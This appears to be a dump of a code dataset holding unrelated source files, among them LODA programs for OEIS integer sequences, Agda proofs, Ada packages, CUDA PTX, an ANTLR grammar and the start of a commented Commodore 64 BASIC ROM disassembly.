max_stars_repo_path
stringlengths
4
261
max_stars_repo_name
stringlengths
6
106
max_stars_count
int64
0
38.8k
id
stringlengths
1
6
text
stringlengths
7
1.05M
oeis/142/A142043.asm
neoneye/loda-programs
11
177711
; A142043: Primes congruent to 21 mod 32. ; Submitted by <NAME> ; 53,149,181,277,373,661,757,821,853,1013,1109,1237,1301,1429,1493,1621,1877,1973,2069,2293,2357,2389,2549,2677,2741,2837,3061,3221,3253,3413,3541,3637,3701,3733,3797,3989,4021,4373,4597,4789,5077,5237,5333,5557,5653,5717,5749,5813,6037,6101,6133,6197,6229,6389,6421,6581,6709,6869,6997,7253,7349,7477,7541,7573,7669,7829,8053,8117,8501,8597,8629,8693,8821,9013,9109,9173,9397,9461,9749,9781,9941,9973,10037,10069,10133,10357,10453,10613,10709,10837,11093,11317,11701,12149,12277,12373,12437,12757 mov $2,$0 add $2,6 pow $2,2 mov $4,20 lpb $2 mov $3,$4 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 mov $1,$0 max $1,0 cmp $1,$0 mul $2,$1 sub $2,1 add $4,32 lpe mov $0,$4 add $0,1
src/firmware-tests/Platform/Smps/EnableDisable/EnableDisableSmpsHighPowerModeShiftOutTest.asm
pete-restall/Cluck2Sesame-Prototype
1
18122
<filename>src/firmware-tests/Platform/Smps/EnableDisable/EnableDisableSmpsHighPowerModeShiftOutTest.asm #include "Platform.inc" #include "FarCalls.inc" #include "Smps.inc" radix decimal EnableDisableSmpsHighPowerModeShiftOutTest code global doEnableCall global doDisableCall doEnableCall: fcall enableSmpsHighPowerMode return doDisableCall: fcall disableSmpsHighPowerMode return end
Task/Ackermann-function/Agda/ackermann-function-1.agda
LaudateCorpus1/RosettaCodeData
1
8929
<reponame>LaudateCorpus1/RosettaCodeData open import Data.Nat open import Data.Nat.Show open import IO module Ackermann where ack : ℕ -> ℕ -> ℕ ack zero n = n + 1 ack (suc m) zero = ack m 1 ack (suc m) (suc n) = ack m (ack (suc m) n) main = run (putStrLn (show (ack 3 9)))
oeis/137/A137926.asm
neoneye/loda-programs
11
3335
; A137926: a(n) = the largest divisor of n that is coprime to A000005(n). (A000005(n) = the number of positive divisors of n.) ; Submitted by <NAME> ; 1,1,3,4,5,3,7,1,1,5,11,1,13,7,15,16,17,1,19,5,21,11,23,3,25,13,27,7,29,15,31,1,33,17,35,4,37,19,39,5,41,21,43,11,5,23,47,3,49,25,51,13,53,27,55,7,57,29,59,5,61,31,7,64,65,33,67,17,69,35,71,1,73,37,25,19,77,39,79,1,81,41,83,7,85,43,87,11,89,5,91,23,93,47,95,1,97,49,11,100 mov $1,1 add $1,$0 seq $0,5 ; d(n) (also called tau(n) or sigma_0(n)), the number of divisors of n. pow $0,$0 gcd $0,$1 div $1,$0 mov $0,$1
firmware/coreboot/3rdparty/libhwbase/ada/clock_gettime/hw-time-timer.adb
fabiojna02/OpenCellular
1
560
-- -- Copyright (C) 2016 secunet Security Networks AG -- -- This program is free software; you can redistribute it and/or modify -- it under the terms of the GNU General Public License as published by -- the Free Software Foundation; either version 2 of the License, or -- (at your option) any later version. -- -- This program is distributed in the hope that it will be useful, -- but WITHOUT ANY WARRANTY; without even the implied warranty of -- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -- GNU General Public License for more details. -- with Interfaces.C; use type Interfaces.C.long; package body HW.Time.Timer with Refined_State => (Timer_State => null, Abstract_Time => null) is CLOCK_MONOTONIC_RAW : constant := 4; subtype Clock_ID_T is Interfaces.C.int; subtype Time_T is Interfaces.C.long; type Struct_Timespec is record TV_Sec : aliased Time_T; TV_NSec : aliased Interfaces.C.long; end record; pragma Convention (C_Pass_By_Copy, Struct_Timespec); function Clock_Gettime (Clock_ID : Clock_ID_T; Timespec : access Struct_Timespec) return Interfaces.C.int; pragma Import (C, Clock_Gettime, "clock_gettime"); function Raw_Value_Min return T is Ignored : Interfaces.C.int; Timespec : aliased Struct_Timespec; begin Ignored := Clock_Gettime (CLOCK_MONOTONIC_RAW, Timespec'Access); return T (Timespec.TV_Sec * 1_000_000_000 + Timespec.TV_NSec); end Raw_Value_Min; function Raw_Value_Max return T is begin return Raw_Value_Min + 1; end Raw_Value_Max; function Hz return T is begin return 1_000_000_000; -- clock_gettime(2) is fixed to nanoseconds end Hz; end HW.Time.Timer;
source/image/required/s-imgllu.ads
ytomino/drake
33
24021
<gh_stars>10-100 pragma License (Unrestricted); with System.Unsigned_Types; -- implementation unit required by compiler package System.Img_LLU is pragma Pure; -- required for Modular'Image by compiler (s-imgllu.ads) procedure Image_Long_Long_Unsigned ( V : Unsigned_Types.Long_Long_Unsigned; S : in out String; P : out Natural); end System.Img_LLU;
Proof.agda
mathijsb/generic-in-agda
6
4936
<reponame>mathijsb/generic-in-agda module Proof where open import Agda.Primitive hiding (_⊔_) open import Reflection open import Data.Fin hiding (_+_) open import Data.Fin.Properties using (eq? ; _≟_ ) open import Data.Nat hiding (eq? ; _⊔_) open import Data.Nat.Properties open import Data.List open import Data.String hiding (setoid) open import Data.Bool open import Data.Vec open import Relation.Binary open import Relation.Binary.EqReasoning open import Relation.Binary.PropositionalEquality using (_≡_ ; refl ; cong ; setoid ) import Relation.Binary.Indexed as I open import Function using (_∘_ ; _$_ ; _∋_ ; id ; const) open import Function.Equality using (_⟶_ ; _⟨$⟩_ ; Π ) open import Function.LeftInverse hiding (_∘_) open import Function.Injection using (_↣_ ; Injective ; Injection ) open import Function.Surjection using (_↠_ ; Surjective ; Surjection) open import Function.Bijection using (Bijection ; Bijective ; id ) open import Relation.Nullary open import Relation.Nullary.Negation open import Helper.Fin open import Serializer open import Serializer.Fin open import Serializer.Bool data Test : Set where A : Bool -> Test B : Fin 2 -> Bool -> Test C : Fin 2 -> Test open Serializer.Serializer {{...}} fromTest : Test -> Fin 8 fromTest (A x) = +₁ 6 2 (+₁ 2 4 (from x)) fromTest (B x x₁) = +₁ 6 2 (+₂ 2 4 (× 2 2 (from x) (from x₁))) fromTest (C x) = +₂ 6 2 (from x) test : Fin 4 -> Test test x with ⨂ 2 2 x test .(× 2 2 i j) | is× i j = B (to i) (to j) toTest : Fin 8 -> Test toTest x = [ (\y -> [ (\z -> A $ to z) , test ] (⨁ 2 4 y) ) , (\y -> C $ to y) ] (⨁ 6 2 x) --from-cong : Setoid._≈_ (setoid Test) I.=[ fromTest ]⇒ Setoid._≈_ (setoid (Fin 8)) --from-cong refl = refl from-preserves-eq : setoid Test ⟶ setoid (Fin 8) from-preserves-eq = record { _⟨$⟩_ = fromTest ; cong = (\{ {i} {.i} refl → refl }) } from-injective : Injective from-preserves-eq from-injective {A x} {A x₁} p with from-bool-injective ∘ +-eq₁ ∘ +-eq₁ $ p from-injective {A x} {A .x} p | refl = refl from-injective {A x} {B x₁ x₂} p = contradiction (+-eq₁ p) ¬+-eq₁ from-injective {A x} {C x₁} p = contradiction p ¬+-eq₁ from-injective {B x x₁} {A x₂} p = contradiction (+-eq₁ p) ¬+-eq₂ from-injective {B x x₁} {B y y₁} p with +-eq₂ {2} {4} ∘ +-eq₁ $ p ... | p2 with from-bool-injective (×-equal₁ {x₁ = x} {x₂ = y} p2) | ×-equal₂ {x₁ = x} {x₂ = y} p2 from-injective {B x x₁} {B .x .x₁} p | p2 | refl | refl = refl from-injective {B x x₁} {C x₂} p = contradiction p ¬+-eq₁ from-injective {C x} {A x₁} p = contradiction p ¬+-eq₂ from-injective {C x} {B x₁ x₂} p = contradiction p ¬+-eq₂ from-injective {C x} {C .x} refl = refl from-surjective : Surjective from-preserves-eq from-surjective = record { from = preserves-eq-inv ; right-inverse-of = inv } where -- cong-inverse : Setoid._≈_ (setoid (Fin 8)) I.=[ toTest ]⇒ Setoid._≈_ (setoid Test) -- cong-inverse refl = refl preserves-eq-inv : setoid (Fin 8) ⟶ setoid Test preserves-eq-inv = record { _⟨$⟩_ = toTest ; cong = (\{ {i} {.i} refl → refl }) } inv : preserves-eq-inv RightInverseOf from-preserves-eq inv x with ⨁ 6 2 x inv .(+₁ 6 2 i) | is+₁ i with ⨁ 2 4 i inv ._ | is+₁ ._ | is+₁ i rewrite (Surjective.right-inverse-of (Bijective.surjective (Bijection.bijective (bijection {Bool})))) i = refl inv ._ | is+₁ ._ | is+₂ j with ⨂ 2 2 j inv ._ | is+₁ ._ | is+₂ ._ | is× i j rewrite (Surjective.right-inverse-of (Bijective.surjective (Bijection.bijective (bijection {Fin 2})))) i | (Surjective.right-inverse-of (Bijective.surjective (Bijection.bijective (bijection {Bool})))) j = refl inv ._ | is+₂ j = refl from-injection : Test ↣ Fin 8 from-injection = record { to = from-preserves-eq ; injective = from-injective } from-surjection : Test ↠ Fin 8 from-surjection = record { to = from-preserves-eq ; surjective = from-surjective } from-bijection : Bijection (setoid Test) (setoid (Fin 8)) from-bijection = record { to = from-preserves-eq ; bijective = record { injective = from-injective ; surjective = from-surjective } } instance serializerTest : Serializer Test serializerTest = record { size = 8 ; from = fromTest ; to = toTest ; bijection = from-bijection }
src/ada/AeonFlux/Parser/Punctuation.ads
marcello-s/AeonFlux
0
11944
-- Copyright (c) 2015-2019 <NAME> -- for details see License.txt with Ada.Strings.Unbounded; use Ada.Strings.Unbounded; with Ada.Strings.Unbounded.Equal_Case_Insensitive; with Ada.Strings.Unbounded.Hash_Case_Insensitive; with Ada.Containers.Hashed_Maps; use Ada.Containers; with Tokens; use Tokens; package Punctuation is package TokenMap is new Ada.Containers.Hashed_Maps (Key_Type => Unbounded_String, Element_Type => Tokens.Token, Hash => Hash_Case_Insensitive, Equivalent_Keys => Equal_Case_Insensitive ); type Object is record Punctuators : TokenMap.Map; Operators : TokenMap.Map; Keywords : TokenMap.Map; FutureReservedWords : TokenMap.Map; end record; procedure Initialize (O : in out Object); procedure Clear (O : in out Object); end Punctuation;
prototyping/FFI/Data/String.agda
TheGreatSageEqualToHeaven/luau
1
3830
<reponame>TheGreatSageEqualToHeaven/luau<gh_stars>1-10 module FFI.Data.String where import Agda.Builtin.String String = Agda.Builtin.String.String infixr 5 _++_ _++_ = Agda.Builtin.String.primStringAppend
programs/oeis/170/A170114.asm
karttu/loda
1
89178
<filename>programs/oeis/170/A170114.asm<gh_stars>1-10 ; A170114: Number of reduced words of length n in Coxeter group on 9 generators S_i with relations (S_i)^2 = (S_i S_j)^38 = I. ; 1,9,72,576,4608,36864,294912,2359296,18874368,150994944,1207959552,9663676416,77309411328,618475290624,4947802324992,39582418599936,316659348799488,2533274790395904 mov $1,1 lpb $0,1 mul $1,2 add $3,$1 add $3,$1 mov $4,5 mov $6,$3 mov $5,$6 add $5,$4 sub $3,5 add $0,6 sub $5,3 add $2,$3 mov $1,$5 sub $0,1 add $2,4 add $1,$2 sub $2,$2 sub $0,6 mov $6,$2 mov $3,$6 sub $1,1 lpe
oeis/020/A020969.asm
neoneye/loda-programs
11
100275
; A020969: Expansion of 1/((1-7*x)*(1-8*x)*(1-12*x)). ; Submitted by <NAME>(s2) ; 1,27,493,7611,107293,1432011,18457741,232505307,2883927805,35398400235,431393410669,5231599117563,63232056214237,762504498009099,9180490786688077,110414131486397979,1326988747136473789,15940250950549257003,191415727699481566765,2298061861632088036155,27585407165757827925661,331094763144340190326347,3973700084795100908651533,47688931802792699982617691,572303619496755692988221053,6867936277935634325398023531,82417587474504477628845555181,989029932520631020872980984187 add $0,1 mov $3,1 lpb $0 sub $0,1 add $2,$3 add $1,$2 mul $1,8 mul $2,12 mul $3,7 lpe mov $0,$1 div $0,8
test/filters-cases/clang-cuda-example.asm
OfekShilon/compiler-explorer
4,668
171570
<reponame>OfekShilon/compiler-explorer // // Generated by LLVM NVPTX Back-End // .version 6.1 .target sm_35 .address_size 64 // .globl cudaMalloc .global .align 1 .b8 blockIdx[1]; .global .align 1 .b8 blockDim[1]; .global .align 1 .b8 threadIdx[1]; .visible .func (.param .b32 func_retval0) cudaMalloc( .param .b64 cudaMalloc_param_0, .param .b64 cudaMalloc_param_1 ) { .local .align 8 .b8 __local_depot0[16]; .reg .b64 %SP; .reg .b64 %SPL; .reg .b32 %r<2>; .reg .b64 %rd<3>; mov.u64 %SPL, __local_depot0; cvta.local.u64 %SP, %SPL; ld.param.u64 %rd2, [cudaMalloc_param_1]; ld.param.u64 %rd1, [cudaMalloc_param_0]; st.u64 [%SP+0], %rd1; st.u64 [%SP+8], %rd2; mov.u32 %r1, 30; st.param.b32 [func_retval0+0], %r1; ret; } // .globl cudaFuncGetAttributes .visible .func (.param .b32 func_retval0) cudaFuncGetAttributes( .param .b64 cudaFuncGetAttributes_param_0, .param .b64 cudaFuncGetAttributes_param_1 ) { .local .align 8 .b8 __local_depot1[16]; .reg .b64 %SP; .reg .b64 %SPL; .reg .b32 %r<2>; .reg .b64 %rd<3>; mov.u64 %SPL, __local_depot1; cvta.local.u64 %SP, %SPL; ld.param.u64 %rd2, [cudaFuncGetAttributes_param_1]; ld.param.u64 %rd1, [cudaFuncGetAttributes_param_0]; st.u64 [%SP+0], %rd1; st.u64 [%SP+8], %rd2; mov.u32 %r1, 30; st.param.b32 [func_retval0+0], %r1; ret; } // .globl cudaDeviceGetAttribute .visible .func (.param .b32 func_retval0) cudaDeviceGetAttribute( .param .b64 cudaDeviceGetAttribute_param_0, .param .b32 cudaDeviceGetAttribute_param_1, .param .b32 cudaDeviceGetAttribute_param_2 ) { .local .align 8 .b8 __local_depot2[16]; .reg .b64 %SP; .reg .b64 %SPL; .reg .b32 %r<4>; .reg .b64 %rd<2>; mov.u64 %SPL, __local_depot2; cvta.local.u64 %SP, %SPL; ld.param.u32 %r2, [cudaDeviceGetAttribute_param_2]; ld.param.u32 %r1, [cudaDeviceGetAttribute_param_1]; ld.param.u64 %rd1, [cudaDeviceGetAttribute_param_0]; st.u64 [%SP+0], %rd1; st.u32 [%SP+8], %r1; st.u32 [%SP+12], %r2; mov.u32 %r3, 30; st.param.b32 [func_retval0+0], %r3; ret; } // .globl cudaGetDevice .visible .func (.param .b32 func_retval0) cudaGetDevice( .param .b64 cudaGetDevice_param_0 ) { .local .align 8 .b8 __local_depot3[8]; .reg .b64 %SP; .reg .b64 %SPL; .reg .b32 %r<2>; .reg .b64 %rd<2>; mov.u64 %SPL, __local_depot3; cvta.local.u64 %SP, %SPL; ld.param.u64 %rd1, [cudaGetDevice_param_0]; st.u64 [%SP+0], %rd1; mov.u32 %r1, 30; st.param.b32 [func_retval0+0], %r1; ret; } // .globl cudaOccupancyMaxActiveBlocksPerMultiprocessor .visible .func (.param .b32 func_retval0) cudaOccupancyMaxActiveBlocksPerMultiprocessor( .param .b64 cudaOccupancyMaxActiveBlocksPerMultiprocessor_param_0, .param .b64 cudaOccupancyMaxActiveBlocksPerMultiprocessor_param_1, .param .b32 cudaOccupancyMaxActiveBlocksPerMultiprocessor_param_2, .param .b64 cudaOccupancyMaxActiveBlocksPerMultiprocessor_param_3 ) { .local .align 8 .b8 __local_depot4[32]; .reg .b64 %SP; .reg .b64 %SPL; .reg .b32 %r<3>; .reg .b64 %rd<4>; mov.u64 %SPL, __local_depot4; cvta.local.u64 %SP, %SPL; ld.param.u64 %rd3, [cudaOccupancyMaxActiveBlocksPerMultiprocessor_param_3]; ld.param.u32 %r1, [cudaOccupancyMaxActiveBlocksPerMultiprocessor_param_2]; ld.param.u64 %rd2, [cudaOccupancyMaxActiveBlocksPerMultiprocessor_param_1]; ld.param.u64 %rd1, [cudaOccupancyMaxActiveBlocksPerMultiprocessor_param_0]; st.u64 [%SP+0], %rd1; st.u64 [%SP+8], %rd2; st.u32 [%SP+16], %r1; st.u64 [%SP+24], %rd3; mov.u32 %r2, 30; st.param.b32 [func_retval0+0], %r2; ret; } // .globl cudaOccupancyMaxActiveBlocksPerMultiprocessorWithFlags .visible .func (.param .b32 func_retval0) cudaOccupancyMaxActiveBlocksPerMultiprocessorWithFlags( .param .b64 cudaOccupancyMaxActiveBlocksPerMultiprocessorWithFlags_param_0, .param .b64 cudaOccupancyMaxActiveBlocksPerMultiprocessorWithFlags_param_1, .param .b32 cudaOccupancyMaxActiveBlocksPerMultiprocessorWithFlags_param_2, .param .b64 cudaOccupancyMaxActiveBlocksPerMultiprocessorWithFlags_param_3, .param .b32 cudaOccupancyMaxActiveBlocksPerMultiprocessorWithFlags_param_4 ) { .local .align 8 .b8 __local_depot5[40]; .reg .b64 %SP; .reg .b64 %SPL; .reg .b32 %r<4>; .reg .b64 %rd<4>; mov.u64 %SPL, __local_depot5; cvta.local.u64 %SP, %SPL; ld.param.u32 %r2, [cudaOccupancyMaxActiveBlocksPerMultiprocessorWithFlags_param_4]; ld.param.u64 %rd3, [cudaOccupancyMaxActiveBlocksPerMultiprocessorWithFlags_param_3]; ld.param.u32 %r1, [cudaOccupancyMaxActiveBlocksPerMultiprocessorWithFlags_param_2]; ld.param.u64 %rd2, [cudaOccupancyMaxActiveBlocksPerMultiprocessorWithFlags_param_1]; ld.param.u64 %rd1, [cudaOccupancyMaxActiveBlocksPerMultiprocessorWithFlags_param_0]; st.u64 [%SP+0], %rd1; st.u64 [%SP+8], %rd2; st.u32 [%SP+16], %r1; st.u64 [%SP+24], %rd3; st.u32 [%SP+32], %r2; mov.u32 %r3, 30; st.param.b32 [func_retval0+0], %r3; ret; } // .globl _Z6vecAddPfS_S_i .visible .entry _Z6vecAddPfS_S_i( .param .u64 _Z6vecAddPfS_S_i_param_0, .param .u64 _Z6vecAddPfS_S_i_param_1, .param .u64 _Z6vecAddPfS_S_i_param_2, .param .u32 _Z6vecAddPfS_S_i_param_3 ) { .local .align 8 .b8 __local_depot6[32]; .reg .b64 %SP; .reg .b64 %SPL; .reg .pred %p<2>; .reg .f32 %f<4>; .reg .b32 %r<9>; .reg .b64 %rd<18>; mov.u64 %SPL, __local_depot6; cvta.local.u64 %SP, %SPL; ld.param.u32 %r1, [_Z6vecAddPfS_S_i_param_3]; ld.param.u64 %rd3, [_Z6vecAddPfS_S_i_param_2]; ld.param.u64 %rd2, [_Z6vecAddPfS_S_i_param_1]; ld.param.u64 %rd1, [_Z6vecAddPfS_S_i_param_0]; cvta.to.global.u64 %rd4, %rd3; cvta.global.u64 %rd5, %rd4; cvta.to.global.u64 %rd6, %rd2; cvta.global.u64 %rd7, %rd6; cvta.to.global.u64 %rd8, %rd1; cvta.global.u64 %rd9, %rd8; st.u64 [%SP+0], %rd9; st.u64 [%SP+8], %rd7; st.u64 [%SP+16], %rd5; st.u32 [%SP+24], %r1; mov.u32 %r2, %ctaid.x; mov.u32 %r3, %ntid.x; mul.lo.s32 %r4, %r2, %r3; mov.u32 %r5, %tid.x; add.s32 %r6, %r4, %r5; st.u32 [%SP+28], %r6; ld.u32 %r7, [%SP+28]; ld.u32 %r8, [%SP+24]; setp.ge.s32 %p1, %r7, %r8; @%p1 bra LBB6_2; bra.uni LBB6_1; LBB6_1: ld.u64 %rd10, [%SP+0]; ld.s32 %rd11, [%SP+28]; shl.b64 %rd12, %rd11, 2; add.s64 %rd13, %rd10, %rd12; ld.f32 %f1, [%rd13]; ld.u64 %rd14, [%SP+8]; add.s64 %rd15, %rd14, %rd12; ld.f32 %f2, [%rd15]; add.rn.f32 %f3, %f1, %f2; ld.u64 %rd16, [%SP+16]; add.s64 %rd17, %rd16, %rd12; st.f32 [%rd17], %f3; bra.uni LBB6_2; LBB6_2: ret; }
programs/oeis/208/A208558.asm
neoneye/loda
22
167740
<gh_stars>10-100 ; A208558: Number of 6 X n 0..1 arrays avoiding 0 0 0 and 0 0 1 horizontally and 0 0 1 and 0 1 1 vertically. ; 16,256,784,5776,25600,150544,753424,4129024,21492496,115175824,607129600,3230330896,17097131536,90759997696,480986635024,2551443960976,13527095526400,71739070491664,380392441337104,2017207032035584,10696582520912656,56722218551975824,300783274593894400,1594991992934645776,8457867365961968656,44850224965028475136,237830524442422088464,1261162378469056901776,6687659733129523840000,35463163314201381792784,188053185835695276903184,997203890318700545446144,5287948381819708196217616,28040804193539466853838224,148694092317389451042918400,788491413282899285119856656,4181193047714704947940815376,22171928657684096035042744576,117572763044674562817224633104,623461983782610370095009452176,3306079017909065641240579302400,17531395274821373810037365541904,92965055752063802942471158587664,492972832822566925176837379688704,2614124327894856243145994552175376,13862114800144505395259305483099024,73507684649106989519014547306905600,389794759345000904254228002116075536 add $0,1 seq $0,228661 ; Number of 2Xn binary arrays with top left value 1 and no two ones adjacent horizontally, diagonally or antidiagonally. add $1,$0 pow $1,2 div $1,4 mul $1,16 mov $0,$1
oeis/284/A284625.asm
neoneye/loda-programs
11
27115
; A284625: Positions of 2 in A284749. ; 3,6,7,10,13,14,17,18,21,24,25,28,31,32,35,36,39,42,43,46,47,50,53,54,57,60,61,64,65,68,71,72,75,78,79,82,83,86,89,90,93,94,97,100,101,104,107,108,111,112,115,118,119,122,123,126,129,130,133,136,137,140,141,144,147,148,151,154,155,158,159,162,165,166,169,170,173,176,177,180,183,184,187,188,191,194,195,198,201,202,205,206,209,212,213,216,217,220,223,224 mov $1,$0 add $0,1 pow $0,2 lpb $0 add $1,2 trn $0,$1 lpe mov $0,$1 add $0,1
twodim_grammar/TwoDimParser.g4
jivnov/Language-for-2D-graphics
0
2783
parser grammar TwoDimParser; options { tokenVocab=TwoDimLexer; superClass=TwoDimParserBase; } sourceFile : viewportClause? ((functionDecl | declaration) eos)* statementList? drawClause eos ; viewportClause : VIEWPORT DECIMAL_LIT DECIMAL_LIT eos ; declaration : shapeDecl ; identifierList : IDENTIFIER (',' IDENTIFIER)* ; expressionList : expression (',' expression)* ; // Function declarations functionDecl : FUNC IDENTIFIER (signature block?) ; signature : {self.noTerminatorAfterParams(1)}? parameters | parameters ; parameters : '(' (parameterDecl (COMMA parameterDecl)*)? ')' ; parameterDecl : typeName identifierList? ; functionCall : IDENTIFIER WS? L_PAREN WS? operandName? (COMMA WS? operandName)* R_PAREN ; drawClause : DRAW IDENTIFIER ; shapeDecl : shapeSpec ; shapeSpec : typeName IDENTIFIER WS? shapeArguments shapeColor? (',' WS? IDENTIFIER shapeArguments shapeColor?)* // e.x. 'square A(20%) [15%], B(30%) [15%]' ; shapeColor : '<' DECIMAL_LIT (',' WS? DECIMAL_LIT)* '>' ; block : '{' TERMINATOR? statementList? '}' ; statementList : (statement eos)+ ; statement : declaration | functionDecl | functionCall | simpleStmt | ifStmt | switchStmt | assignmentDeclarationStmt ; simpleStmt : expressionStmt | assignment | drawClause ; expressionStmt : expression ; shapeArguments : arguments? WS? (L_BRACKET WS? SIZE_LIT (COMMA WS? SIZE_LIT)? WS? R_BRACKET)? ; assignmentDeclarationStmt : SHAPE IDENTIFIER WS? shapeArguments WS? assign_op WS? functionCall ; assignment : IDENTIFIER assign_op expression ; assign_op : '=' ; ifStmt : 'if' (simpleStmt ';')? expression block ('else' (ifStmt | block))? ; switchStmt : exprSwitchStmt ; exprSwitchStmt : 'switch' (simpleStmt ';')? expression? '{' exprCaseClause* '}' ; exprCaseClause : exprSwitchCase ':' statementList? ; exprSwitchCase : 'case' expression | 'default' ; typeName : RECT | SQUARE | CIRCLE | TRIANGLE | SHAPE ; relationDetailOp : INNER | OUTER ; singleLevelRelationOp : LEFT | RIGHT | TOP | BOT | ATLEFT | ATRIGHT | ATTOP | ATBOT ; multiLevelRelationOp : IN | ON | UNDER ; relationExpr : primaryExpr (singleLevelRelationOp relationDetailOp? primaryExpr)+ | primaryExpr multiLevelRelationOp primaryExpr ; expression : primaryExpr | relationExpr | primaryExpr ('+' | '-') primaryExpr | functionCall ; primaryExpr : operand ; operand : literal | operandName | '(' expression ')' ; literal : basicLit ; basicLit : NIL_LIT | integer | string_ | FLOAT_LIT | RUNE_LIT ; integer : DECIMAL_LIT | RUNE_LIT ; operandName : IDENTIFIER ; string_ : RAW_STRING_LIT | INTERPRETED_STRING_LIT ; arguments : '{' WS* (expressionList)? WS* '}' ; eos : ';' | ';' EOF | {self.checkPreviousTokenText("}")}? ;
apps/bootloader/bootloader.ads
ekoeppen/MSP430_Generic_Ada_Drivers
0
24837
<gh_stars>0 package Bootloader is pragma Preelaborate; procedure Erase; procedure Start; pragma Machine_Attribute (Start, "naked"); end Bootloader;
volea.adb
davidkristola/vole
4
22706
with Ada.Text_IO; use Ada.Text_IO; with Ada.Command_Line; use Ada.Command_Line; with Ada.Streams.Stream_IO; with kv.avm.Assemblers; with kv.avm.Log; procedure volea is Builder : aliased kv.avm.Assemblers.Assembler_Type; package SIO renames Ada.Streams.Stream_IO; F : SIO.File_Type; S : SIO.Stream_Access; begin for I in 1 .. Argument_Count loop if Argument(I) = "-v" then kv.avm.Log.Verbose := True; else Put_Line("volea -- the vole assembler processing "&Argument(I)); Builder.Initialize; Builder.Parse_Input_File(Argument(I)); SIO.Create(F, SIO.Out_File, kv.avm.Assemblers.Make_Word_Code_Name(Argument(I))); S := SIO.Stream(F); Builder.Write_Word_Code(S); SIO.Close(F); end if; end loop; end volea;
kernal-c64/64tass/C64-bas.asm
silverdr/assembly
23
91585
;****************************************************************************** ;****************************************************************************** ; ; The almost completely commented C64 ROM disassembly. V1.01 <NAME> 2012 ; ;****************************************************************************** ; ; start of the BASIC ROM ; ; version 901227-01 ; *= $A000 BasicCold .word BasicColdStart ; BASIC cold start entry point BasicNMI .word BasicWarmStart ; BASIC warm start entry point ;A_A004 .text "CBMBASIC" ; ROM name, unreferenced ;****************************************************************************** ; ; action addresses for primary commands. these are called by pushing the ; address onto the stack and doing an RTS so the actual address -1 needs to be ; pushed TblBasicInstr ; [A00C] .word bcEND-1 ; perform END $80 .word bcFOR-1 ; perform FOR $81 .word bcNEXT-1 ; perform NEXT $82 .word bcDATA-1 ; perform DATA $83 .word bcINPUTH-1 ; perform INPUT# $84 .word bcINPUT-1 ; perform INPUT $85 .word bcDIM-1 ; perform DIM $86 .word bcREAD-1 ; perform READ $87 .word bcLET-1 ; perform LET $88 .word bcGOTO-1 ; perform GOTO $89 .word bcRUN-1 ; perform RUN $8A .word bcIF-1 ; perform IF $8B .word bcRESTORE-1 ; perform RESTORE $8C .word bcGOSUB-1 ; perform GOSUB $8D .word bcRETURN-1 ; perform RETURN $8E .word bcREM-1 ; perform REM $8F .word bcSTOP-1 ; perform STOP $90 .word bcON-1 ; perform ON $91 .word bcWAIT-1 ; perform WAIT $92 .word bcLOAD-1 ; perform LOAD $93 .word bcSAVE-1 ; perform SAVE $94 .word bcVERIFY-1 ; perform VERIFY $95 .word bcDEF-1 ; perform DEF $96 .word bcPOKE-1 ; perform POKE $97 .word bcPRINTH-1 ; perform PRINT# $98 .word bcPRINT-1 ; perform PRINT $99 .word bcCONT-1 ; perform CONT $9A .word bcLIST-1 ; perform LIST $9B .word bcCLR-1 ; perform CLR $9C .word bcCMD-1 ; perform CMD $9D .word bcSYS-1 ; perform SYS $9E .word bcOPEN-1 ; perform OPEN $9F .word bcCLOSE-1 ; perform CLOSE $A0 .word bcGET-1 ; perform GET $A1 .word bcNEW-1 ; perform NEW $A2 ;****************************************************************************** ; ; action addresses for functions TblFunctions ; [A052] .word bcSGN ; perform SGN() $B4 .word bcINT ; perform INT() $B5 .word bcABS ; perform ABS() $B6 .word UserJump ; perform USR() $B7 .word bcFRE ; perform FRE() $B8 .word bcPOS ; perform POS() $B9 .word bcSQR ; perform SQR() $BA .word bcRND ; perform RND() $BB .word bcLOG ; perform LOG() $BC .word bcEXP ; perform EXP() $BD .word bcCOS ; perform COS() $BE .word bcSIN ; perform SIN() $BF .word bcTAN ; perform TAN() $C0 .word bcATN ; perform ATN() $C1 .word bcPEEK ; perform PEEK() $C2 .word bcLEN ; perform LEN() $C3 .word bcSTR ; perform STR$() $C4 .word bcVAL ; perform VAL() $C5 .word bcASC ; perform ASC() $C6 .word bcCHR ; perform CHR$() $C7 .word bcLEFT ; perform LEFT$() $C8 .word bcRIGHT ; perform RIGHT$() $C9 .word bcMID ; perform MID$() $CA ;****************************************************************************** ; ; precedence byte and action addresses for operators. like the primarry ; commands these are called by pushing the address onto the stack and doing an ; RTS, so again the actual address -1 needs to be pushed HierachyCode ; [A080] .byte $79 .word bcPLUS-1 ; + .byte $79 .word bcMINUS-1 ; - .byte $7B .word bcMULTIPLY-1 ; * .byte $7B .word bcDIVIDE-1 ; / .byte $7F .word bcPOWER-1 ; ^ .byte $50 .word bcAND-1 ; AND .byte $46 .word bcOR-1 ; OR .byte $7D .word bcGREATER-1 ; > .byte $5A .word bcEQUAL-1 ; = .byte $64 .word bcSMALLER-1 ; < ;****************************************************************************** ; ; BASIC keywords. each word has bit 7 set in it's last character as an end ; marker, even the one character keywords such as "<" or "=" ; first are the primary command keywords, only these can start a statement TblBasicCodes ; [A09E] D_A09E .shift 'END' ; END $80 128 D_A0A1 .shift 'FOR' ; FOR $81 129 D_A0A4 .shift 'NEXT' ; NEXT $82 130 D_A0A8 .shift 'DATA' ; DATA $83 131 D_A0AC .shift 'INPUT#' ; INPUT# $84 132 D_A0B2 .shift 'INPUT' ; INPUT $85 133 D_A0B7 .shift 'DIM' ; DIM $86 134 D_A0BA .shift 'READ' ; READ $87 135 D_A0BE .shift 'LET' ; LET $88 136 D_A0C1 .shift 'GOTO' ; GOTO $89 137 D_A0C5 .shift 'RUN' ; RUN $8A 138 D_A0C8 .shift 'IF' ; IF $8B 139 D_A0CA .shift 'RESTORE' ; RESTORE $8C 140 D_A0D1 .shift 'GOSUB' ; GOSUB $8D 141 D_A0D6 .shift 'RETURN' ; RETURN $8E 142 D_A0DC .shift 'REM' ; REM $8F 143 D_A0DF .shift 'STOP' ; STOP $90 144 D_A0E3 .shift 'ON' ; ON $91 145 D_A0E5 .shift 'WAIT' ; WAIT $92 146 D_A0E9 .shift 'LOAD' ; LOAD $93 147 D_A0ED .shift 'SAVE' ; SAVE $94 148 D_A0F1 .shift 'VERIFY' ; VERIFY $95 149 D_A0F7 